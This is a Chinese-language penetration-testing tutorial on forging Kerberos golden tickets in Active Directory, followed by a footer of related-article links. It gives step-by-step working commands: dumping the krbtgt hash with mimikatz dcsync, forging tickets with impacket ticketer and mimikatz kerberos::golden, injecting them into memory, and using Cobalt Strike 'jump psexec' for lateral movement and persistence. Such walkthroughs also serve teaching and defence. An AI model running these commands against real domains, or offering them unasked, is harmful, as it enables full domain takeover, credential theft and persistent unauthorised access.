黄金票据~

一. 黄金票据原理

黄金票据一般是伪造的TGT,生成这个TGT,不需要和KDC进行校验,金票可以在本地直接生成,生成的的金票在非域机器和域内机器都可以使用

黄金票据的作用:

可以用来权限维持
可以用来横向移动

二. 利用条件

1. 必须知道KDC密钥分发中心账户krbtgt的hash值(重要)

Krbtgt用户只有在域控上(要知道该用户的hash,必须先要控制域控或者通过远程查询)

2. 域名
3. 域的SID值

在域中执行whoami /all 域的SID值就是去掉500后面的

4. 需要伪造的用户

一般都是域管理员(administrator)

三. KRBTGT-Hash值的获取方式

获取KRBTGT的hash值,有两种方式:

控制了域控然后查询
通过dcsync查询 
1. 控制域控

控制了域控之后可以通过多种方式查询(可以使用之前介绍的密码抓取技术技术)krbtgt是域用户,不是

域控上的本地用户所以存储不在域控的SAM文件中,而是在ntds文件中

还有很多办法,这里只演示一种

2. 没有控制域控

如果没有控制域控,可以通过dcsync的技术获取,Dcsync之前域内密码抓取技术中介绍过,使用该技术需要使用如下的用户

Administrators组内的用户
Domain Admins组内的用户
Enterprise Admins组内的用户
域控制器的计算机帐户
域控的Administrator 和 system 也可以

四. 黄金票据的各种制作方式和使用

黄金票据的制作有多种方式,黄金票据本质上是伪造TGT,既然是伪造所以在任何电脑上都可以伪造,生成的TGT票据就可以打入内存(PTT),从而实现对整个域的控制,接下来我们看一下如何伪造

1、impacket中的工具TICKETER

此工具支持在目标机和本地生成金票

命令:

ticketer -domain-sid sid值 -nthash krbtgt-hash -domain 域名 伪造的用户
ticketer -domain-sid S-1-5-21-3176001243-559812214-128103957 -nthash 42a96a39feedfb08eda775cc208ba3e0 -domain hack.com administrator

将生成的票据打入到内存中

2. 直接使用mimikatz生成并注入到内存中

和CS中自带功能一样

kerberos::golden /user:administrator /domain:域名 /sid:SID值 /krbtgt:NTLM-HASH /ptt
kerberos::golden /user:administrator /domain:hack.com /sid:S-1-5-21-3176001243-559812214-128103957 /krbtgt:42a96a39feedfb08eda775cc208ba3e0 /ptt

后面的PTT如果携带 就会自动注入到内存,如果不带就在本地生成

五. 域内机器下的黄金票据制作和CS上线

先上线一台域内主机,通过这台主机控制域控(拿下整个域)

第一步:对服务器进行域内信息收集,并且检查自身的权限,如果是管理员权限直接dcsync

mimikatz lsadump::dcsync /domain:hack.com /user:krbtgt

第二步:获取伪造TGT使用的域SID和域名

whoami /all

第三步:制作黄金票据的条件都收集全之后,可以使用上面的办法生成黄金票据,也可以使用CS自带的金票制作功能

此功能生成后直接将票据注入到内存中,我们可以直接访问域内任意主机

接下来借助计划任务或者是服务上线CS即可

六. 工作组机器下的黄金票据制作和CS上线

上线一台工作组机器,先ping一下域控,看是否能通信

我这个是因为处于同一个网段中,但是在某些情况下需要注意:

工作组机器的DNS必须修改成域控的IP(主要是工作组中的机器需要ping通域名)
如果不修改DNS,可以修改本地的HOST文件,将域名执行对应的IP地址
域中的SID值如何获取呢?可以使用LADP协议使用adfind查询(但是必须知道一个域用户)
krbtgt值如如何获取呢?这个就费劲了,需要使用控制了域控,或者域内机器

这里大家肯定有点矛盾,我既然都可以获取krbtgt,我直接使用域中的机器进行PTT就可以了,为什么还要用工作组中的机器(如果域中的机器有杀软呢?Mimikatz不能使用呢,但是这个工作组电脑上没有杀软)掌握更多方式,为了灵活方便

第一步:修改DNS或者HOST文件,如果在不同域的情况下需要修改

echo 192.168.41.10 dc.hack.com >> C:\Windows\System32\drivers\etc\hosts
或者
netsh interface ipv4 add dns 本地连接 192.168.41.10

第二步:获取krbtgt的hash值

mimikatz lsadump::dcsync /domain:hack.com /user:krbtgt

第三步:获取伪造TGT使用的域SID和域名

第四步:制作金票并注入内存

kerberos::golden /user:administrator /domain:hack.com /sid:S-1-5-21-4004672601-2435621703-3785616059 /krbtgt:42a96a39feedfb08eda775cc208ba3e0 

第五步:CS自带的jump命令上线

jump psexec 192.168.41.10 test1 
相关推荐
HackKong2 小时前
Python与黑客技术
网络·python·web安全·网络安全·php
Autumn.h2 小时前
vulnhub Empire-Lupin-One靶机
网络安全
深渊启源2 小时前
用 Ingram 和 masscan 来扫描全网存在漏洞的camera
网络安全·漏洞·ingram·masscan
网络安全(king)4 小时前
信息安全管理:网络设计安全评估checklist
网络·安全·web安全
鱼大大博客5 小时前
Edge SCDN酷盾安全重塑高效安全内容分发新生态
前端·安全·edge
鸭梨山大。5 小时前
NPM组件包 vant部分版本内嵌挖矿代码
前端·安全·npm·node.js·vue
liuxin3344556610 小时前
学籍管理系统:实现教育管理现代化
java·开发语言·前端·数据库·安全
weixin_4426434213 小时前
FileLink为企业打造了一站式的跨网安全文件共享解决方案
安全·filelink内外网文件交换
一只栖枝14 小时前
Security知识点分享之高级安全安装虚拟机
安全·安全架构
cnsinda_sdc14 小时前
信创数据防泄漏中信创沙箱是什么样的安全方案
运维·网络·安全·源代码管理·源代码防泄密·源代码加密